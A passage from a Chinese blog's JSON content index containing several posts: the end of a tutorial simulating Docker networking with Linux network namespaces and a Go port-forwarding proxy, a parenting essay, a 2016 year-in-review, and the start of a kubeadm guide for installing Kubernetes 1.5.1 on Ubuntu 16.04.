至此，模拟创建告一段落！两个ns之间以及它们与default ns之间连通了！\n$ sudo ip netns exec Container_ns2 ping -c 3 172.16.1.1 PING 172.16.1.1 (172.16.1.1) 56(84) bytes of data. 64 bytes from 172.16.1.1: icmp_seq=1 ttl=64 time=0.101 ms 64 bytes from 172.16.1.1: icmp_seq=2 ttl=64 time=0.083 ms 64 bytes from 172.16.1.1: icmp_seq=3 ttl=64 time=0.087 ms --- 172.16.1.1 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 0.083/0.090/0.101/0.010 ms $ sudo ip netns exec Container_ns1 ping -c 3 172.16.1.2 PING 172.16.1.2 (172.16.1.2) 56(84) bytes of data. 64 bytes from 172.16.1.2: icmp_seq=1 ttl=64 time=0.053 ms 64 bytes from 172.16.1.2: icmp_seq=2 ttl=64 time=0.092 ms 64 bytes from 172.16.1.2: icmp_seq=3 ttl=64 time=0.089 ms --- 172.16.1.2 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1999ms rtt min/avg/max/mdev = 0.053/0.078/0.092/0.017 ms 当然此时两个ns之间连通，主要还是通过直连网络，实质上是MyDocker0在二层起到的作用。以在Container_ns1中ping Container_ns2的eth0地址为例：\nContainer_ns1此时的路由表：\n$ sudo ip netns exec Container_ns1 ip route default via 172.16.1.254 dev eth0 172.16.0.0/16 dev eth0 proto kernel scope link src 172.16.1.1 ping 172.16.1.2执行后，根据路由表，将首先匹配到直连网络（第二条），即无需gateway转发便可以直接将数据包送达。arp查询后（要么从arp cache中找到，要么在MyDocker0这个二层交换机中泛洪查询）获得172.16.1.2的mac地址。ip包的目的ip填写172.16.1.2，二层数据帧封包将目的mac填写为刚刚查到的mac地址，通过eth0(172.16.1.1)发送出去。eth0实际上是一个veth pair，另外一端“插”在MyDocker0这个交换机上，因此这一过程就是一个标准的二层交换机的数据报文交换过程, MyDocker0相当于从交换机上的一个端口收到以太帧数据，并将数据从另外一个端口发出去。ping应答包亦如此。\n而如果是在Container_ns1中ping某个docker container的地址，比如172.17.0.2。当ping执行后，根据Container_ns1下的路由表，没有匹配到直连网络，只能通过default路由将数据包发给Gateway: 172.16.1.254。虽然都是MyDocker0接收数据，但这次更类似于“数据被直接发到 Bridge 上，而不是Bridge从一个端口接收(这块儿与我之前的文章中的理解稍有差异)”。二层的目的mac地址填写的是gateway 172.16.1.254自己的mac地址（Bridge的mac地址），此时的MyDocker0更像是一块普通网卡的角色，工作在三层。MyDocker0收到数据包后，发现并非是发给自己的ip包，通过主机路由表找到直连链路路由，MyDocker0将数据包Forward到docker0上（封装的二层数据包的目的MAC地址为docker0的mac地址）。此时的docker0也是一种“网卡”的角色，由于目的ip依然不是docker0自身，因此docker0也会继续这一转发流程。通过traceroute可以印证这一过程：\n$ sudo ip netns exec Container_ns1 traceroute 172.17.0.2 traceroute to 172.17.0.2 (172.17.0.2), 30 hops max, 60 byte packets 1 172.16.1.254 (172.16.1.254) 0.082 ms 0.023 ms 0.019 ms 2 172.17.0.2 (172.17.0.2) 0.054 ms 0.034 ms 0.029 ms $ sudo ip netns exec Container_ns1 ping -c 3 172.17.0.2 PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data. 64 bytes from 172.17.0.2: icmp_seq=1 ttl=63 time=0.084 ms 64 bytes from 172.17.0.2: icmp_seq=2 ttl=63 time=0.101 ms 64 bytes from 172.17.0.2: icmp_seq=3 ttl=63 time=0.098 ms --- 172.17.0.2 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 0.084/0.094/0.101/0.010 ms 现在，你应该大致了解docker engine在创建单机容器网络时都在背后做了哪些手脚了吧（当然，这里只是简单模拟，docker实际做的要比这复杂许多）。\n四、基于userland proxy的容器端口映射的模拟 端口映射让位于容器中的service可以将服务范围扩展到主机之外，比如：一个运行于container中的nginx可以通过宿主机的9091端口对外提供http server服务：\n$ sudo docker run -d -p 9091:80 nginx:latest 8eef60e3d7b48140c20b11424ee8931be25bc47b5233aa42550efabd5730ac2f $ curl 10.11.36.15:9091 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Welcome to nginx!\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Welcome to nginx!\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;If you see this page, the nginx web server is successfully installed and working. Further configuration is required.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;For online documentation and support please refer to \u0026lt;a href=\u0026quot;http://nginx.org/\u0026quot;\u0026gt;nginx.org\u0026lt;/a\u0026gt;.\u0026lt;br/\u0026gt; Commercial support is available at \u0026lt;a href=\u0026quot;http://nginx.com/\u0026quot;\u0026gt;nginx.com\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;em\u0026gt;Thank you for using nginx.\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 容器的端口映射实际是通过docker engine的docker proxy功能实现的。默认情况下，docker engine(截至docker 1.12.1版本)采用userland proxy(–userland-proxy=true)为每个expose端口的容器启动一个proxy实例来做端口流量转发：\n$ ps -ef|grep docker-proxy root 26246 6228 0 16:18 ? 00:00:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 9091 -container-ip 172.17.0.2 -container-port 80 docker-proxy实际上就是在default ns和container ns之间转发流量而已。我们完全可以模拟这一过程。\n我们创建一个fileserver demo：\n//testfileserver.go package main import \u0026quot;net/http\u0026quot; func main() { http.ListenAndServe(\u0026quot;:8080\u0026quot;, http.FileServer(http.Dir(\u0026quot;.\u0026quot;))) } 我们在Container_ns1下启动这个Fileserver service:\n$ sudo ip netns exec Container_ns1 ./testfileserver $ sudo ip netns exec Container_ns1 lsof -i tcp:8080 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME testfiles 3605 root 3u IPv4 297022 0t0 TCP *:http-alt (LISTEN) 可以看到在Container_ns1下面，8080已经被testfileserver监听，不过在default ns下，8080端口依旧是avaiable的。\n接下来，我们在default ns下创建一个简易的proxy：\n//proxy.go ... ... var ( host string port string container string containerport string ) func main() { flag.StringVar(\u0026amp;host, \u0026quot;host\u0026quot;, \u0026quot;0.0.0.0\u0026quot;, \u0026quot;host addr\u0026quot;) flag.StringVar(\u0026amp;port, \u0026quot;port\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;host port\u0026quot;) flag.StringVar(\u0026amp;container, \u0026quot;container\u0026quot;, \u0026quot;\u0026quot;, \u0026quot;container addr\u0026quot;) flag.StringVar(\u0026amp;containerport, \u0026quot;containerport\u0026quot;, \u0026quot;8080\u0026quot;, \u0026quot;container port\u0026quot;) flag.Parse() fmt.Printf(\u0026quot;%s\\n%s\\n%s\\n%s\u0026quot;, host, port, container, containerport) ln, err := net.Listen(\u0026quot;tcp\u0026quot;, host+\u0026quot;:\u0026quot;+port) if err != nil { // handle error log.Println(\u0026quot;listen error:\u0026quot;, err) return } log.Println(\u0026quot;listen ok\u0026quot;) for { conn, err := ln.Accept() if err != nil { // handle error log.Println(\u0026quot;accept error:\u0026quot;, err) continue } log.Println(\u0026quot;accept conn\u0026quot;, conn) go handleConnection(conn) } } func handleConnection(conn net.Conn) { cli, err := net.Dial(\u0026quot;tcp\u0026quot;, container+\u0026quot;:\u0026quot;+containerport) if err != nil { log.Println(\u0026quot;dial error:\u0026quot;, err) return } log.Println(\u0026quot;dial \u0026quot;, container+\u0026quot;:\u0026quot;+containerport, \u0026quot; ok\u0026quot;) go io.Copy(conn, cli) _, err = io.Copy(cli, conn) fmt.Println(\u0026quot;communication over: error:\u0026quot;, err) } 在default ns下执行：\n./proxy -host 0.0.0.0 -port 9090 -container 172.16.1.1 -containerport 8080 0.0.0.0 9090 172.16.1.1 80802017/01/11 17:26:10 listen ok 我们http get一下宿主机的9090端口：\n$curl 10.11.36.15:9090 \u0026lt;pre\u0026gt; \u0026lt;a href=\u0026quot;proxy\u0026quot;\u0026gt;proxy\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026quot;proxy.go\u0026quot;\u0026gt;proxy.go\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026quot;testfileserver\u0026quot;\u0026gt;testfileserver\u0026lt;/a\u0026gt; \u0026lt;a href=\u0026quot;testfileserver.go\u0026quot;\u0026gt;testfileserver.go\u0026lt;/a\u0026gt; \u0026lt;/pre\u0026gt; 成功获得file list！\nproxy的输出日志：\n2017/01/11 17:26:16 accept conn \u0026amp;{{0xc4200560e0}} 2017/01/11 17:26:16 dial 172.16.1.1:8080 ok communication over: error:\u0026lt;nil\u0026gt; 由于每个做端口映射的Container都要启动至少一个docker proxy与之配合，一旦运行的container增多，那么docker proxy对资源的消耗将是大大的。因此docker engine在docker 1.6之后（好像是这个版本）提供了基于iptables的端口映射机制，无需再启动docker proxy process了。我们只需修改一下docker engine的启动配置即可：\n在使用systemd init system的系统中如果为docker engine配置–userland-proxy=false，可以参考《当Docker遇到systemd》这篇文章。\n由于这个与network namespace关系不大，后续单独理解^0^。\n六、参考资料 1、《Docker networking cookbook》\n2、《Docker cookbook》\n","permalink":"https://tonybai.com/2017/01/11/understanding-linux-network-namespace-for-docker-network/","summary":"\u003cp\u003e由于2016年年中\u003ca href=\"http://tonybai.com/2017/01/03/2016-summary/\"\u003e调换工作\u003c/a\u003e的原因，对容器网络的研究中断过一段时间。随着当前项目对\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e应用的深入，我感觉之前对于\u003ca href=\"http://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/\"\u003e容器网络的粗浅理解\u003c/a\u003e已经不够了，容器网络成了摆在前面的“一道坎”。继续深入理解K8s网络、容器网络已经势在必行。而这篇文章就算是一个重新开始，也是对之前浅表理解的一个补充。\u003c/p\u003e\n\u003cp\u003e我还是先从\u003ca href=\"https://www.docker.com/\"\u003eDocker\u003c/a\u003e容器网络入手，虽然Docker与Kubernetes采用了不同的网络模型：K8s是\u003ca href=\"https://github.com/containernetworking/cni\"\u003eContainer Network Interface, CNI\u003c/a\u003e模型，而Docker则采用的是\u003ca href=\"https://github.com/docker/libnetwork/blob/master/docs/design.md\"\u003eContainer Network Model, CNM\u003c/a\u003e模型。而要了解Docker容器网络，理解Linux Network Namespace是不可或缺的。在本文中我们将尝试理解Linux Network Namespace及相关Linux内核网络设备的概念，并手工模拟Docker容器网络模型的部分实现，包括\u003ca href=\"http://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/\"\u003e单机容器网络\u003c/a\u003e中的容器与主机连通、容器间连通以及\u003ca href=\"http://tonybai.com/2016/01/18/understanding-binding-docker-container-ports-to-host/\"\u003e端口映射\u003c/a\u003e等。\u003c/p\u003e","title":"理解Docker容器网络之Linux Network Namespace"},{"content":"果果昨天进行了一年级上学期的期末考试，今天基本已经开始了放假，就差月中旬去学校取成绩和开家长会了。不知不觉间一年级的半个学期就这样过去了。作为家长，亲历了一次对小学一年级小豆包的教育过程，同时也亲自见证了一次当前中国一个省会城市重点小学教育状况。在这个时间节点上，感觉自己应该对这个过程做一些回顾和总结，也不枉我个人对孩子教育这个课题的持续关注。这是第一篇。注：下面的内容并不是现在写的，大致写于2016年11月末。\n第一篇谈谈学校留的手工作业该由谁来做的问题。\n从孩子上幼儿园开始，孩子就时常收到学校留的“手工作业”，比如做一张爱心卡、一个小盒子或一个小时钟等。最初，孩子还很小，作为家长的，总是担心孩子无法及时上交作业，或是出于某种“虚荣心”，基本上都是越俎代庖，“主动”替孩子“完美”地完成了作业。但这些家长们你想没想到，你这是在剥夺一个孩子充分发挥想象力的机会和一次提高动手能力的机会。\n在这方面，我和孩子她妈达成了充分的一致性：让孩子自己做。\n我们发现果果在画画方面有着与众不同的思维，孩子脑袋中的世界是我们这些被社会磨砺定型后的成年人所想象不到的，比如下面这幅被果果命名为“手印”的画，我是无论如何都画不出来的^0^：\n果果的画作：手印\n这在完成“手工作业”方面算是一个“优势”，而且果果喜欢动手做，虽然做出的东西还很粗糙。在幼儿园的时候，我们还常会给他提供一些设计方面的“思路”（也多来自网络），到后来，基本上都是果果自己在设计和制作。\n这周班主任让孩子们制作一个指针可以旋转的小时钟（后续将用于数学课上的认识钟点的教学），这既是让孩子拥有一次动手的机会，也为了后续在教授孩子“认识时间”的课程中，让孩子能亲手使用自己制作“小时钟”，我甚至能感受得到孩子在那个时候的“成就感”。\n于是，果果花了一个下午（周三半天课）做了下面这个小时钟模型，并第一时间微信发给我和孩子妈。我当时的第一感觉就是孩子这个作业完成的非常好，如果让我和她妈妈做，我们可能都无法设计出这样的造型并基于家里的“闲置物品”将其实现出来。果果的时钟表盘完全是个人在美术方面的想象力，小蚂蚁图案估计是受到之前看《幼儿画报》中蚂蚁日记中原型的启发。果果喜欢给陌生事物起名字，这个时钟就被她命名为：“中国国际学习时钟”，这个名字对于成年人来说，可能会感觉怪怪的。但对于她这个一年级小豆包来说，在她的小脑瓜中，可能有自己的含义。作为家长，笑着接受就好了。千万不要去用成年家长的思维去“纠正”。\n果果制作的小时钟模型\n果果的半天努力得到的班主任老师的认可，这对于她来说，我想是一个极大的肯定，这也会进一步激励她在后续的手工作业中做出更好的作品。\n果果(左1)受到老师的表扬\n最后，作为一名家长，我期望各位家长都能把“手工作业”还给孩子们，让他们在自己的想象空间中翱翔，让他们亲手做一个属于自己的手工作业吧。\n","permalink":"https://tonybai.com/2017/01/05/leave-hand-made-homework-to-kids/","summary":"\u003cp\u003e\u003ca href=\"http://daughter.tonybai.com/\"\u003e果果\u003c/a\u003e昨天进行了一年级上学期的期末考试，今天基本已经开始了放假，就差月中旬去学校取成绩和开家长会了。不知不觉间一年级的半个学期就这样过去了。作为家长，亲历了一次对小学一年级小豆包的教育过程，同时也亲自见证了一次当前中国一个省会城市重点小学教育状况。在这个时间节点上，感觉自己应该对这个过程做一些回顾和总结，也不枉我个人对孩子教育这个课题的持续关注。这是第一篇。注：下面的内容并不是现在写的，大致写于2016年11月末。\u003c/p\u003e\n\u003cp\u003e第一篇谈谈学校留的手工作业该由谁来做的问题。\u003c/p\u003e\n\u003cp\u003e从孩子上幼儿园开始，孩子就时常收到学校留的“手工作业”，比如做一张爱心卡、一个小盒子或一个小时钟等。最初，孩子还很小，作为家长的，总是担心孩子无法及时上交作业，或是出于某种“虚荣心”，基本上都是越俎代庖，“主动”替孩子“完美”地完成了作业。但这些家长们你想没想到，你这是在剥夺一个孩子充分发挥想象力的机会和一次提高动手能力的机会。\u003c/p\u003e","title":"把学校留的手工作业还给孩子们"},{"content":"每到年终岁尾，历史上受到过中国文化影响的国家和地区都有评选当年年度汉字的传统，比如：2016年马来西亚年度汉字为“贪”，鬼子国日本年度汉字为“金”，中国台湾地区年度汉字为“苦”，而大陆地区的年度汉字据说是“规”。其实每个人心中都有一个自己的年度汉字，2016年，我个人的年度汉字为“变”。\n一、离职 其实，这两年我求变的步伐一直没有停歇，只是今年迈出了实质性的一步。2016年4月末，就是在参加完GopherChina大会后，我就义无反顾的离开了工作10年多的老东家（也许很多人对于我的忠诚程度感觉很惊讶^0^），加盟了本地另外一家以IDC为基础、追求成为东北地区一流数据和基础设施服务商的初创企业。\n我的新的直属领导是公司的技术VP，很牛逼的一个人，也是一名互联网老兵。据说他几乎以一人之力将公司IDC从无到有的建立起来（从商务采购谈判到IDC技术），并组建团队，打造公司云基础设施平台。当时我怀揣的极大的热情希望能在这样的一个新环境下，在公司的重点技术领域：云计算（基于OpenStack的公有云平台）、大数据技术、容器平台（与Rancher公司合作开发容器管理平台）等方向深入下去。但事情的发展往往是这样的套路：你越是期待的，结果却事与愿违。\n当时正值公司刚刚确定了新的一年的几个重点战略方向，其中一个就是面向Goverment的智慧城市建设方向，我们戏称:”To G业务”。公司大老板希望我能以一个技术架构师的角色，对公司整个面向智慧城市的技术架构、产品和服务进行梳理，形成公司对应To G方向的核心产品套件和方法论。当时的我对于什么是智慧城市基本上是小白一个，无奈老板发话，只能硬着头皮上。\n在后续若干个月的梳理过程中，我渐渐发现这个工作中技术绝对不是主要的因素，重要的是对智慧城市的深入理解。而智慧城市建设的纷繁芜杂，加上没有实战经验，驾驭起来又岂能是短短几个月的事情？输出的成果物我自己感觉都很苍白无力。那个阶段，我在各方面是备受煎熬：工作量是庞大的，老板要求也高，关键是还没有什么成就感。并且渐渐地我发现大老板似乎希望我能继续在smart city这个领域继续钻研下去，甚至成为专家型选手。这显然与我对自己的定位和规划不符，我没有成为智慧城市专家的愿望和热情，自觉也没有这方面的能力。于是在工作了大致五个月的时候，在输出了近六本成果物之后（没错，我这几个月的成果物就是一本本薄薄的书，如果你在市面上能有幸看到署有我的名字的关于智慧城市的著作，也不要惊讶哦^0^，不过看不到的可能性更大），我选择了离开。\n这次跳槽从一般意义来说，也许是失败的。但个人觉得这几个月我还是有很多收获的。Hard模式让我个人也有了更快的成长，尤其是在内心抗压上。同时，在其他方面也有不少收获，这些收获不是在技术层面，而是在格局、眼界以及接触的人的圈子方面：由于角色的原因，接触到很多外部公司的相对级别较高的人，和他们一起交流，增长了许多见识。\n二、蛰伏 离开的时候其实有几个机会，但是考虑到东北当前经济环境下的创业企业的情况，于是决定先回到老东家，不过这次换到了另外一个部门（以前的老领导负责的一个部门，这里感谢老领导收留^0^），我也从新回归技术兼部分技术管理，我把这个阶段称为蛰伏。一方面，将当前团队的产品打磨好，一方面等待下一次“变”的机会。\n顺便简要说一下当前所做的事情。当前团队规模不大，5 dev + 1美工美女，致力于制作一个相对通用的互联网产品运营平台，一个类APaaS平台，与国内主流运营渠道能力对接（比如：微信等），简化商家在产品营销和运营时应用开发、部署和运维的门槛，为应用提供支持负载均衡和快速弹性伸缩的环境，以保障应用在业务波峰也可以正常运作。平台的底层采用的是Kubernetes，这也是10月份以来我为何发表大量有关容器和Kubernetes博文的原因。团队目前也在摸着石头过河，无论是对方向的把握还是对技术的探索。\n团队采用了一些较新的小众流行的“技术栈“，包括：golang、vue.js 2.0等。目前团队还在招前后端开发，沈阳的朋友有意者可以留言联系。\n三、小目标 优秀是一种习惯。反过来，不是所有习惯都能让你优秀，比如那些众所周知的“坏毛病”。\n2017，从现在开始，我要改掉如下的一些“坏毛病”：\n不吃垃圾食品，比如方便面、KFC等； 不躺着床上看书，除非是为了入眠^_^； 拖延症，或多或少还是有一点的。 总是告诉女儿：活到老学到老！作为爸爸，必须带头身体力行，2017自然不能忘记学习。除了当前工作涉及到的golang、docker、k8s的应用和深入之外，目前考虑到的可能学习和实践的方向还包括：\nAI：近两年大热的方向，特别是机器学习这一支。如果不跟上，就要落伍了。不过进入AI领地不是那么容易。要学的太多，而且很有难度。 Blockly：在国外，尤其是主流欧美国家，“编程一小时”活动开展的如火如荼，无论成人还是未成年的儿童少年，对于编程的兴趣与日俱增。我相信这一趋势将来也必将在国内“蔓延”开来。而Google开源的Blockly作为很多编程网站开发编程activity的基础是值得学习、研究和实践的。 图：女儿在接受编程思维训练\n四、自我寄语 新一年，风险与机遇并存。\n但我心中那团火，永不熄！\n","permalink":"https://tonybai.com/2017/01/03/2016-summary/","summary":"\u003cp\u003e每到年终岁尾，历史上受到过中国文化影响的国家和地区都有评选当年年度汉字的传统，比如：2016年马来西亚年度汉字为“贪”，鬼子国日本年度汉字为“金”，中国台湾地区年度汉字为“苦”，而大陆地区的年度汉字据说是“规”。其实每个人心中都有一个自己的年度汉字，2016年，我个人的年度汉字为“变”。\u003c/p\u003e","title":"2016小结"},{"content":"在《当Docker遇到systemd》一文中，我提到过这两天儿一直在做的一个task：使用kubeadm在Ubuntu 16.04上安装部署Kubernetes的最新发布版本-k8s 1.5.1。\n年中，Docker宣布在Docker engine中集成swarmkit工具包，这一announcement在轻量级容器界引发轩然大波。毕竟开发者是懒惰的^0^，有了docker swarmkit，驱动developer去安装其他容器编排工具的动力在哪里呢？即便docker engine还不是当年那个被人们高频使用的IE浏览器。作为针对Docker公司这一市场行为的回应，容器集群管理和服务编排领先者Kubernetes在三个月后发布了Kubernetes1.4.0版本。在这个版本中K8s新增了kubeadm工具。kubeadm的使用方式有点像集成在docker engine中的swarm kit工具，旨在改善开发者在安装、调试和使用k8s时的体验，降低安装和使用门槛。理论上通过两个命令：init和join即可搭建出一套完整的Kubernetes cluster。\n不过，和初入docker引擎的swarmkit一样，kubeadm目前也在active development中，也不是那么stable，因此即便在当前最新的k8s 1.5.1版本中，它仍然处于Alpha状态，官方不建议在Production环境下使用。每次执行kubeadm init时，它都会打印如下提醒日志：\n[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters. 不过由于之前部署的k8s 1.3.7集群运行良好，这给了我们在k8s这条路上继续走下去并走好的信心。但k8s在部署和管理方面的体验的确是太繁琐了，于是我们准备试验一下kubeadm是否能带给我们超出预期的体验。之前在aliyun ubuntu 14.04上安装kubernetes 1.3.7的经验和教训，让我略微有那么一丢丢底气，但实际安装过程依旧是一波三折。这既与kubeadm的unstable有关，同样也与cni、第三方网络add-ons的质量有关。无论哪一方出现问题都会让你的install过程异常坎坷曲折。\n一、环境与约束 在kubeadm支持的Ubuntu 16.04+, CentOS 7 or HypriotOS v1.0.1+三种操作系统中，我们选择了Ubuntu 16.04。由于阿里云尚无官方16.04 Image可用，我们新开了两个Ubuntu 14.04ECS实例，并通过apt-get命令手工将其升级到Ubuntu 16.04.1，详细版本是：Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-58-generic x86_64)。\nUbuntu 16.04使用了systemd作为init system，在安装和配置Docker时，可以参考我的这篇《当Docker遇到system》。Docker版本我选择了目前可以得到的lastest stable release: 1.12.5。\n# docker version Client: Version: 1.12.5 API version: 1.24 Go version: go1.6.4 Git commit: 7392c3b Built: Fri Dec 16 02:42:17 2016 OS/Arch: linux/amd64 Server: Version: 1.12.5 API version: 1.24 Go version: go1.6.4 Git commit: 7392c3b Built: Fri Dec 16 02:42:17 2016 OS/Arch: linux/amd64 至于Kubernetes版本，前面已经提到过了，我们就使用最新发布的Kubernetes 1.5.1版本。1.5.1是1.5.0的一个紧急fix版本，主要”to address default flag values which in isolation were not problematic, but in concert could result in an insecure cluster”。官方建议skip 1.5.0，直接用1.5.1。\n这里再重申一下：Kubernetes的安装、配置和调通是很难的，在阿里云上调通就更难了，有时还需要些运气。Kubernetes、Docker、cni以及各种网络Add-ons都在active development中，也许今天还好用的step、tip和trick，明天就out-dated，因此在借鉴本文的操作步骤时，请谨记这些^0^。\n二、安装包准备 我们这次新开了两个ECS实例，一个作为master node，一个作为minion node。Kubeadm默认安装时，master node将不会参与Pod调度，不会承载work load，即不会有非核心组件的Pod在Master node上被创建出来。当然通过kubectl taint命令可以解除这一限制，不过这是后话了。\n集群拓扑：\nmaster node：10.47.217.91，主机名：iZ25beglnhtZ minion node：10.28.61.30，主机名：iZ2ze39jeyizepdxhwqci6Z 本次安装的主参考文档就是Kubernetes官方的那篇《Installing Kubernetes on Linux with kubeadm》。\n本小节，我们将进行安装包准备，即将kubeadm以及此次安装所需要的k8s核心组件统统下载到上述两个Node上。注意：如果你有加速器，那么本节下面的安装过程将尤为顺利，反之，… 。以下命令，在两个Node上均要执行。\n1、添加apt-key # curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add - OK 2、添加Kubernetes源并更新包信息 添加Kubernetes源到sources.list.d目录下：\n# cat \u0026lt;\u0026lt;EOF \u0026gt; /etc/apt/sources.list.d/kubernetes.list deb http://apt.kubernetes.io/ kubernetes-xenial main EOF # cat /etc/apt/sources.list.d/kubernetes.list deb http://apt.kubernetes.io/ kubernetes-xenial main 更新包信息：\n# apt-get update ... ... Hit:2 http://mirrors.aliyun.com/ubuntu xenial InRelease Hit:3 https://apt.dockerproject.org/repo ubuntu-xenial InRelease Get:4 http://mirrors.aliyun.com/ubuntu xenial-security InRelease [102 kB] Get:1 https://packages.cloud.google.com/apt kubernetes-xenial InRelease [6,299 B] Get:5 https://packages.cloud.google.com/apt kubernetes-xenial/main amd64 Packages [1,739 B] Get:6 http://mirrors.aliyun.com/ubuntu xenial-updates InRelease [102 kB] Get:7 http://mirrors.aliyun.com/ubuntu xenial-proposed InRelease [253 kB] Get:8 http://mirrors.aliyun.com/ubuntu xenial-backports InRelease [102 kB] Fetched 568 kB in 19s (28.4 kB/s) Reading package lists... Done 3、下载Kubernetes核心组件 在此次安装中，我们通过apt-get就可以下载Kubernetes的核心组件，包括kubelet、kubeadm、kubectl和kubernetes-cni等。\n# apt-get install -y kubelet kubeadm kubectl kubernetes-cni Reading package lists... Done Building dependency tree Reading state information... Done The following package was automatically installed and is no longer required: libtimedate-perl Use 'apt autoremove' to remove it. The following additional packages will be installed: ebtables ethtool socat The following NEW packages will be installed: ebtables ethtool kubeadm kubectl kubelet kubernetes-cni socat 0 upgraded, 7 newly installed, 0 to remove and 0 not upgraded. Need to get 37.6 MB of archives. After this operation, 261 MB of additional disk space will be used. Get:2 http://mirrors.aliyun.com/ubuntu xenial/main amd64 ebtables amd64 2.0.10.4-3.4ubuntu1 [79.6 kB] Get:6 http://mirrors.aliyun.com/ubuntu xenial/main amd64 ethtool amd64 1:4.5-1 [97.5 kB] Get:7 http://mirrors.aliyun.com/ubuntu xenial/universe amd64 socat amd64 1.7.3.1-1 [321 kB] Get:1 https://packages.cloud.google.com/apt kubernetes-xenial/main amd64 kubernetes-cni amd64 0.3.0.1-07a8a2-00 [6,877 kB] Get:3 https://packages.cloud.google.com/apt kubernetes-xenial/main amd64 kubelet amd64 1.5.1-00 [15.1 MB] Get:4 https://packages.cloud.google.com/apt kubernetes-xenial/main amd64 kubectl amd64 1.5.1-00 [7,954 kB] Get:5 https://packages.cloud.google.com/apt kubernetes-xenial/main amd64 kubeadm amd64 1.6.0-alpha.0-2074-a092d8e0f95f52-00 [7,120 kB] Fetched 37.6 MB in 36s (1,026 kB/s) ... ... Unpacking kubeadm (1.6.0-alpha.0-2074-a092d8e0f95f52-00) ... Processing triggers for systemd (229-4ubuntu13) ... Processing triggers for ureadahead (0.100.0-19) ... Processing triggers for man-db (2.7.5-1) ... Setting up ebtables (2.0.10.4-3.4ubuntu1) ... update-rc.d: warning: start and stop actions are no longer supported; falling back to defaults Setting up ethtool (1:4.5-1) ... Setting up kubernetes-cni (0.3.0.1-07a8a2-00) ... Setting up socat (1.7.3.1-1) ... Setting up kubelet (1.5.1-00) ... Setting up kubectl (1.5.1-00) ... Setting up kubeadm (1.6.0-alpha.0-2074-a092d8e0f95f52-00) ... Processing triggers for systemd (229-4ubuntu13) ... Processing triggers for ureadahead (0.100.0-19) ... ... ... 下载后的kube组件并未自动运行起来。在 /lib/systemd/system下面我们能看到kubelet.service：\n# ls /lib/systemd/system|grep kube kubelet.service //kubelet.service [Unit] Description=kubelet: The Kubernetes Node Agent Documentation=http://kubernetes.io/docs/ [Service] ExecStart=/usr/bin/kubelet Restart=always StartLimitInterval=0 RestartSec=10 [Install] WantedBy=multi-user.target kubelet的版本：\n# kubelet --version Kubernetes v1.5.1 k8s的核心组件都有了，接下来我们就要boostrap kubernetes cluster了。同时，问题也就随之而来了，而这些问题以及问题的解决才是本篇要说明的重点。\n三、初始化集群 前面说过，理论上通过kubeadm使用init和join命令即可建立一个集群，这init就是在master节点对集群进行初始化。和k8s 1.4之前的部署方式不同的是，kubeadm安装的k8s核心组件都是以容器的形式运行于master node上的。因此在kubeadm init之前，最好给master node上的docker engine挂上加速器代理，因为kubeadm要从gcr.io/google_containers repository中pull许多核心组件的images，大约有如下一些：\ngcr.io/google_containers/kube-controller-manager-amd64 v1.5.1 cd5684031720 2 weeks ago 102.4 MB gcr.io/google_containers/kube-apiserver-amd64 v1.5.1 8c12509df629 2 weeks ago 124.1 MB gcr.io/google_containers/kube-proxy-amd64 v1.5.1 71d2b27b03f6 2 weeks ago 175.6 MB gcr.io/google_containers/kube-scheduler-amd64 v1.5.1 6506e7b74dac 2 weeks ago 53.97 MB gcr.io/google_containers/etcd-amd64 3.0.14-kubeadm 856e39ac7be3 5 weeks ago 174.9 MB gcr.io/google_containers/kubedns-amd64 1.9 26cf1ed9b144 5 weeks ago 47 MB gcr.io/google_containers/dnsmasq-metrics-amd64 1.0 5271aabced07 7 weeks ago 14 MB gcr.io/google_containers/kube-dnsmasq-amd64 1.4 3ec65756a89b 3 months ago 5.13 MB gcr.io/google_containers/kube-discovery-amd64 1.0 c5e0c9a457fc 3 months ago 134.2 MB gcr.io/google_containers/exechealthz-amd64 1.2 93a43bfb39bf 3 months ago 8.375 MB gcr.io/google_containers/pause-amd64 3.0 99e59f495ffa 7 months ago 746.9 kB 在Kubeadm的文档中，Pod Network的安装是作为一个单独的步骤的。kubeadm init并没有为你选择一个默认的Pod network进行安装。我们将首选Flannel 作为我们的Pod network，这不仅是因为我们的上一个集群用的就是flannel，而且表现稳定。更是由于Flannel就是coreos为k8s打造的专属overlay network add-ons。甚至于flannel repository的readme.md都这样写着：“flannel is a network fabric for containers, designed for Kubernetes”。如果我们要使用Flannel，那么在执行init时，按照kubeadm文档要求，我们必须给init命令带上option：–pod-network-cidr=10.244.0.0/16。\n1、执行kubeadm init 执行kubeadm init命令：\n# kubeadm init --pod-network-cidr=10.244.0.0/16 [kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters. [preflight] Running pre-flight checks [preflight] Starting the kubelet service [init] Using Kubernetes version: v1.5.1 [tokens] Generated token: \u0026quot;2e7da9.7fc5668ff26430c7\u0026quot; [certificates] Generated Certificate Authority 